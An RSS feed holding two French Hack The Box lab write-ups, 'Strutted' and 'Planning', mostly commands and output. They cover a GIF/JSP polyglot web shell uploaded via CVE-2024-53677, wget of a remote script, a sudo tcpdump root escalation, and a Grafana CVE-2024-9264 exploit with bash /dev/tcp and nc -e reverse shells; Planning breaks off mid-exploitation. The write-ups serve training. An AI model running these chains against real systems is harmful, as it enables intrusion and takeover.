<![CDATA[fr3nch4_Writeups]]>https://fr3nch4writeups.hashnode.devhttps://cdn.hashnode.com/res/hashnode/image/upload/v1761932211768/b414b56f-c143-4687-97bd-6e0445a38037.jpegfr3nch4_Writeupshttps://fr3nch4writeups.hashnode.devRSS for NodeWed, 16 Sep 2026 06:05:25 GMT60<![CDATA[Strutted HTB]]>https://fr3nch4writeups.hashnode.dev/strutted-htbhttps://fr3nch4writeups.hashnode.dev/strutted-htbSun, 02 Nov 2025 19:49:08 GMTCe challenge Hack The Box fourni des identifiants:

                                            admin        
                                        IT14d6SSP81k

Recon

Scan open ports

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ echo "10.10.11.59 strutted.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.10.11.59 strutted.htb

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ nmap -sC -sV -O 10.10.11.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-09 18:16 EDT
Nmap scan report for strutted.htb (10.10.11.59)
Host is up (0.092s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds

Vulnerability Scan

┌──(kali㉿kali)-[~/Documents/htb/Strutted/]
└─$ nuclei -target http://strutted.htb

[cookies-without-secure] [javascript] [info] strutted.htb ["JSESSIONID"]
[missing-sri] [http] [info] http://strutted.htb/upload ["https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js","https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"]
[waf-detect:nginxgeneric] [http] [info] http://strutted.htb/upload
[openssh-detect] [tcp] [info] strutted.htb:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10"]
[CVE-2020-6171] [http] [medium] http://strutted.htb/upload?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1
[tomcat-stacktraces] [http] [info] http://strutted.htb/upload/?f=\[
[tomcat-detect:version] [http] [info] http://strutted.htb/upload/319qKRgidjirk4ySK90Zb7mksBJ ["9.0.58"]
[form-detection] [http] [info] http://strutted.htb/upload
[options-method] [http] [info] http://strutted.htb/upload ["GET, HEAD, POST, OPTIONS"]
[CVE-2012-0394] [http] [medium] http://strutted.htb/upload/portal/displayAPSForm.action?debug=command&expression=8786*5675
[old-copyright] [http] [info] http://strutted.htb/upload ["\u00a9 2024"]
[http-missing-security-headers:x-frame-options] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:x-content-type-options] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:referrer-policy] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:clear-site-data] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:strict-transport-security] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:content-security-policy] [http] [info] http://strutted.htb/upload
[http-missing-security-headers:permissions-policy] [http] [info] http://strutted.htb/upload
[tech-detect:jsdelivr] [http] [info] http://strutted.htb/upload
[tech-detect:bootstrap] [http] [info] http://strutted.htb/upload
[tech-detect:nginx] [http] [info] http://strutted.htb/upload
[exposed-file-upload-form] [http] [info] http://strutted.htb/upload
[nginx-version] [http] [info] http://strutted.htb/upload ["nginx/1.18.0"]
[caa-fingerprint] [dns] [info] strutted.htb
[INF] Scan completed in 1m. 26 matches found.

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl -I http://strutted.htb/  # Ou http://10.10.11.59/
HTTP/1.1 200
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 09 Oct 2025 22:17:01 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,Sec-Fetch-User
Cross-Origin-Embedder-Policy-Report-Only: require-corp
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: JSESSIONID=B13E03C675CAAE2EC92E42EC44115EB3; Path=/; HttpOnly
Content-Language: en-US

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ go run . -url http://strutted.htb/ -end-point upload.action
2025/10/09 18:17:21 Using default testing file...
2025/10/09 18:17:21 Using default command..
2025/10/09 18:17:21 using default payload...
2025/10/09 18:17:21 Using default parameter name for payload [Upload]
2025/10/09 18:17:21 Using default prameter name
2025/10/09 18:17:21 usinf default testing filename default: testfile.txt
2025/10/09 18:17:21 usinf default payload filename default: payload.jsp
2025/10/09 18:17:21 Using testing function for file location maybe produce wrong paths
2025/10/09 18:17:22  file with initalise of  ../testfile.txt  not found
2025/10/09 18:17:22  file with initalise of  ../../testfile.txt  not found
2025/10/09 18:17:23  file with initalise of  ../../../testfile.txt  not found
2025/10/09 18:17:23  file with initalise of  ../../../../testfile.txt  not found
2025/10/09 18:17:23  file with initalise of  ../../../../../testfile.txt  not found
uploaded location gives status code of 200
2025/10/09 18:17:24 testing the payload...
2025/10/09 18:17:24 The payload to test: http://strutted.htb/payload.jsp
response body is <!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> JSP file [&#47;payload.jsp] not found</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.58 (Ubuntu)

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ go run . -url http://strutted.htb/ -end-point upload.action -command "whoami" -payload-file ./webshell.jsp
2025/10/09 18:19:40 Using default testing file...
2025/10/09 18:19:40 Using default parameter name for payload [Upload]
2025/10/09 18:19:40 Using default prameter name
2025/10/09 18:19:40 usinf default testing filename default: testfile.txt
2025/10/09 18:19:40 usinf default payload filename default: payload.jsp
2025/10/09 18:19:40 Using testing function for file location maybe produce wrong paths
Correct path found:  ../
uploaded location gives status code of 200
2025/10/09 18:19:41 testing the payload...
2025/10/09 18:19:41 The payload to test: http://strutted.htb/payload.jsp
response body is <!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> JSP file [&#47;payload.jsp] not found</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.58 (Ubuntu)</h3></body></html>

Crèation d’un script Python pour tenter d’exploiter la faille présente sur Struts “CVE-2024-53677”.

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ python3 create_polyglot.py
Fichier 'webshell.gif' créé ! Taille: 338 bytes.
Vérif GIF: Commence par GIF89a; OK.
Vérif JSP: Code embeddé OK.
Test: file webshell.gif (doit dire data).
Test: xxd webshell.gif | head -5 (doit montrer GIF89a; + JSP).

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ file webshell.gif
webshell.gif: GIF image data, version 89a, 15419 x 16421

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ xxd webshell.gif | head -5  # GIF89a; en hex, puis <%@ page...
00000000: 4749 4638 3961 3b3c 2540 2070 6167 6520  GIF89a;<%@ page
00000010: 696d 706f 7274 3d22 6a61 7661 2e69 6f2e  import="java.io.
00000020: 2a22 2025 3e3c 2520 5374 7269 6e67 2063  *" %><% String c
00000030: 6d64 203d 2072 6571 7565 7374 2e67 6574  md = request.get
00000040: 5061 7261 6d65 7465 7228 2263 6d64 2229  Parameter("cmd")

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl -X POST http://strutted.htb/upload.action \
  -F "Upload=@webshell.gif;type=image/gif" \
  -F "top.UploadFileName=../../shell.jsp"


<!DOCTYPE html>
<html lang="en">
<head>
    <title>Strutted™ - Upload Successful!</title>
    <meta charset="UTF-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">

    <style>
        html, body {
            height: 100%;
            margin: 0;
            font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
            background: #f5f5f5;
            color: #333;
        }
        .page-wrapper {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .header {
            background: linear-gradient(to right, #2c3e50, #4c5a6b);
            padding: 20px;
        }
        .header .navbar-brand {
            font-weight: 600;
            font-size: 1.5rem;
        }

        .hero-section {
            background: #2c3e50;
            color: #fff;
            padding: 60px 0;
            text-align: center;
        }
        .hero-section h1 {
            font-size: 2.5rem;
            font-weight: 300;
            margin-bottom: 20px;
        }
        .hero-section p {
            font-size: 1.2rem;
            margin: 0 auto;
            max-width: 700px;
        }

        .content-wrapper {
            flex: 1 0 auto;
        }

        .success-container {
            max-width: 700px;
            margin: -30px auto 40px auto;
            background: #fff;
            border-radius: 8px;
            box-shadow: 0 6px 20px rgba(0,0,0,0.1);
            padding: 30px;
        }
        .success-container h2 {
            text-align: center;
            margin-bottom: 30px;
            font-weight: 600;
        }
        .messages {
            margin-bottom: 30px;
            text-align: center;
            font-size: 1.1rem;
        }
        .messages img {
            max-width: 100%;
            margin-top: 20px;
            border: 1px solid #ddd;
            border-radius: 8px;
        }
        .back-link {
            display: block;
            text-align: center;
            margin-top: 30px;
        }

        footer {
            background: #343a40;
            color: #fff;
            text-align: center;
            padding: 20px 0;
            flex-shrink: 0;
        }
        footer a {
            color: #adb5bd;
            text-decoration: none;
        }
        footer a:hover {
            color: #fff;
        }
    </style>
</head>

<body>
<div class="page-wrapper">
    <header class="header">
        <nav class="navbar navbar-expand-lg navbar-dark" style="background: transparent;">
            <a class="navbar-brand" href="/">Strutted™</a>
            <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarContent"
                    aria-controls="navbarContent" aria-expanded="false" aria-label="Toggle navigation">
                <span class="navbar-toggler-icon"></span>
            </button>

            <div class="collapse navbar-collapse" id="navbarContent">
                <ul class="navbar-nav ms-auto">
                    <li class="nav-item"><a class="nav-link active" href="/">Home</a></li>
                    <li class="nav-item"><a class="nav-link" href="/how">How It Works</a></li>
                    <li class="nav-item"><a class="nav-link" href="/about">About Us</a></li>
                    <li class="nav-item"><a class="nav-link" href="/download.action">Download</a></li>
                </ul>
            </div>
        </nav>
    </header>

    <div class="content-wrapper">
        <div class="hero-section">
            <div class="container">
                <h1>Image Upload Successful!</h1>
                <p>Congratulations! Your image has been securely uploaded and is now accessible via a shareable link.</p>
            </div>
        </div>

        <div class="success-container">
            <div class="messages">

                    <div class="mb-3 mt-1 back-link">
                        <input type="text" class="form-control" style="display:none;" id="shareableLink" value="http://strutted.htb/s/96c65be4" readonly>
                        <button class="btn btn-outline-secondary" type="button" id="copyButton">Copy Shareable Link</button>
                    </div>
                    <img src="uploads/20251009_230342/../../shell.jsp" alt="Uploaded File"/>


            </div>

            <div class="back-link">

                <a href="/upload.action;jsessionid=1EC9B0D49756BA565C6A246B16C9957B" class="btn btn-outline-secondary">Upload Another File</a>
            </div>
        </div>
    </div>

    <footer>
        <div class="container" style="margin-top: 9px;">
            <p>© 2024 Strutted™ – All rights reserved.</p>
        </div>
    </footer>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
    document.addEventListener("DOMContentLoaded", function() {
        const copyButton = document.getElementById('copyButton');
        const shareableLink = document.getElementById('shareableLink');

        copyButton.addEventListener('click', function() {
            // Select the text field
            shareableLink.select();
            shareableLink.setSelectionRange(0, 99999);

            // Copy the text inside the text field
            navigator.clipboard.writeText(shareableLink.value)
                .then(() => {
                    // Success feedback
                    copyButton.textContent = 'Copied!';
                    copyButton.classList.remove('btn-outline-secondary');
                    copyButton.classList.add('btn-success');
                    setTimeout(() => {
                        copyButton.textContent = 'Copy Shareable Link';
                        copyButton.classList.remove('btn-success');
                        copyButton.classList.add('btn-outline-secondary');
                    }, 2000);
                })
                .catch(err => {
                    // Error feedback
                    console.error('Failed to copy: ', err);
                    copyButton.textContent = 'Error!';
                    copyButton.classList.remove('btn-outline-secondary');
                    copyButton.classList.add('btn-danger');
                    setTimeout(() => {
                        copyButton.textContent = 'Copy Shareable Link';
                        copyButton.classList.remove('btn-danger');
                        copyButton.classList.add('btn-outline-secondary');
                    }, 2000);
                });
        });
    });
</script>
</body>
</html>

Le document a été uploadé avec succès.

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl "http://strutted.htb/shell.jsp?cmd=id"
GIF89a;uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)

Exploitation

TomCat exploit

Je me sers d’un exploit trouvé sur un répertoire Github.

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl "http://strutted.htb/shell.jsp?cmd=cat%20/etc/tomcat9/tomcat-users.xml"
GIF89a;<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->
<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
<!--
  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl "http://strutted.htb/shell.jsp?cmd=wget%20http://10.10.15.91:8000/rev.sh%20-O%20/dev/shm/rev.sh"
GIF89a;
┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl "http://strutted.htb/shell.jsp?cmd=chmod%20+x%20/dev/shm/rev.sh"
GIF89a;
┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl "http://strutted.htb/shell.jsp?cmd=bash%20/dev/shm/rev.sh"
GIF89a;

Connexion SSH

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ sshpass -p 'IT14d6SSP81k' ssh james@strutted.htb

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ ssh james@strutted.htb -p 'IT14d6SSP81k'
Bad port 'IT14d6SSP81k'

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ ssh james@strutted.htb
The authenticity of host 'strutted.htb (10.10.11.59)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:2: [hashed name]
    ~/.ssh/known_hosts:9: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'strutted.htb' (ED25519) to the list of known hosts.
james@strutted.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Oct  9 11:09:15 PM UTC 2025

  System load:           0.08
  Usage of /:            70.8% of 5.81GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             214
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.59
  IPv6 address for eth0: dead:beef::250:56ff:feb0:7b2e


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.
5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Oct  9 10:59:38 2025 from 10.10.14.87
-bash-5.1$ ls
user.txt
-bash-5.1$ cat user.txt
flag_user{*******************************************}

Privileges Escalation

-bash-5.1$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z 'sh -c "cp /bin/bash /tmp/rootsh && chmod u+s /tmp/rootsh"'
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
compress_savefile: execlp(sh -c "cp /bin/bash /tmp/rootsh && chmod u+s /tmp/rootsh", /dev/null) failed: Permission denied

-bash-5.1$ cat /root/root.txt
cat: /root/root.txt: Permission denied

-bash-5.1$ COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel

-bash-5.1$ COMMAND='cp /bin/bash /tmp/rootsh; chmod u+s /tmp/rootsh'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF

-bash-5.1$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel

-bash-5.1$ ls -la /tmp/rootsh
-rwsr-xr-x 1 root root 1396520 Oct  9 23:24 /tmp/rootsh

-bash-5.1$ /tmp/rootsh -p
rootsh-5.1# whoami
root
rootsh-5.1# cat /root/root.txt
flag_root{*****************************************}

Conclusion

Ce challenge m’a permis de me familiariser avec la technologie Apache TomCat, que je ne connaissais pas vraiment.

J’ai pu améliorer mes compétences avec l’outil Curl.

J’espère que ce write-up vous aura aidé.

Fin.

]]><![CDATA[Planning HTB]]>https://fr3nch4writeups.hashnode.dev/planning-htbhttps://fr3nch4writeups.hashnode.dev/planning-htbSun, 02 Nov 2025 18:55:58 GMTCe challenge nous fourni des identifiants utilisateur de départ.

                                             admin

                                        0D5oT70Fq13EvB5r

Reconnaissance

Ports Open & versions

┌──(kali㉿kali)-[~]
└─$ nmap -p- -sC -sV -O 10.10.11.68

22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/

Scan Vulnérabilitées basique

┌──(kali㉿kali)-[~]
└─$ nuclei -target http://planning.htb

[missing-sri] [http] [info] http://planning.htb ["https://code.jquery.com/jquery-3.4.1.min.js","https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.bundle.min.js"]
[external-service-interaction] [http] [info] http://planning.htb
[waf-detect:nginxgeneric] [http] [info] http://planning.htb
[ssh-sha1-hmac-algo] [javascript] [info] planning.htb:22
[ssh-server-enumeration] [javascript] [info] planning.htb:22 ["SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11"]
[ssh-password-auth] [javascript] [info] planning.htb:22
[ssh-auth-methods] [javascript] [info] planning.htb:22 ["["publickey","password"]"]
[openssh-detect] [tcp] [info] planning.htb:22 ["SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11"]
[form-detection] [http] [info] http://planning.htb
[nginx-version] [http] [info] http://planning.htb ["nginx/1.24.0"]
[http-missing-security-headers:strict-transport-security] [http] [info] http://planning.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://planning.htb
[http-missing-security-headers:x-frame-options] [http] [info] http://planning.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://planning.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://planning.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://planning.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://planning.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://planning.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://planning.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://planning.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://planning.htb
[tech-detect:nginx] [http] [info] http://planning.htb
[tech-detect:owl-carousel] [http] [info] http://planning.htb
[caa-fingerprint] [dns] [info] planning.htb
[INF] Scan completed in 1m. 24 matches found.

Fuzzing du Domaine

┌──(kali㉿kali)-[~]
└─$ ffuf -c -w namelist.txt -H 'Host: FUZZ.planning.htb' -u  http://10.10.11.68 -fc 301


grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 93ms]

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://grafana.planning.htb -w directory-list-2.3-medium.txt -x php,js,txt --exclude-length 29

/login                (Status: 200) [Size: 38241]
/signup               (Status: 200) [Size: 38241]
/public               (Status: 302) [Size: 31] [--> /public/]
/admin                (Status: 302) [Size: 24] [--> /]
/plugins              (Status: 302) [Size: 24] [--> /]
/api.php              (Status: 401) [Size: 102]
/api.js               (Status: 401) [Size: 102]
/api                  (Status: 401) [Size: 102]
/api.txt              (Status: 401) [Size: 102]
/robots.txt           (Status: 200) [Size: 26]

┌──(kali㉿kali)-[~]
└─$ curl --path-as-is -i "http://grafana.planning.htb/public/build/datasource/../../../../../../../../etc/passwd"

┌──(kali㉿kali)-[~]
└─$ curl -i "http://grafana.planning.htb/"

HTTP/1.1 302 Found
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 21 Sep 2025 22:11:14 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29
Connection: keep-alive
Cache-Control: no-store
Location: /login
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block

<a href="/login">Found</a>.

La commande ci-dessous, m’a permis d’obtenir la version de “Grafana“.

┌──(kali㉿kali)-[~]
└─$ curl -s "http://grafana.planning.htb/login" | grep -i version

"version":"11.0.0" et "Grafana v11.0.0 (83b9528bce)"

Exploitation

J'ai trouvé une faille sur cette version, la CVE-2024-9264 qui peut permettre, une Exécution de Code à Distance (RCE).

Ce repo Github, fourni un exploit Python pour la https://github.com/nollium/CVE-2024-9264.git

Donc, j’ai créé un “virtual environement” Python, afin de lancer le script avec les creds initiaux. Dans le but d’accéder à la base de données de la cible.

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r  -f /etc/passwd  http://grafana.planning.htb:80

[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "cat /home/grafana/user.txt" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: cat /home/grafana/user.txt
[-] Unexpected response format:
[-] {
    "results": {
        "B": {
            "error": "exit status 1IO Error: Pipe process exited with non-zero exit 
code=\"1\": cat /home/grafana/user.txt >/tmp/grafana_cmd_output 2>&1 |\n",
            "errorSource": "",
            "status": 500,
            "frames": []
        }
    }
}
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
cat: /home/grafana/user.txt: No such file or directory

┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "bash -i >& /dev/tcp/10.10.14.XX/4444 0>&1" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: bash -i >& /dev/tcp/10.10.14.XX/4444 0>&1
[-] Unexpected response format:
[-] {
    "results": {
        "B": {
            "error": "exit status 1sh: 1: Syntax error: Bad fd number\nIO Error: Pipe process
exited with non-zero exit code=\"2\": bash -i >& /dev/tcp/10.10.14.XX/4444 0>&1 
>/tmp/grafana_cmd_output 2>&1 |\n",
            "errorSource": "",
            "status": 500,
            "frames": []
        }
    }
}
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
cat: /home/grafana/user.txt: No such file or directory

┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "nc -e /bin/sh 10.10.15.17 4444" http://grafana.planning.htb

┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /proc/1/environ http://grafana.planning.htb
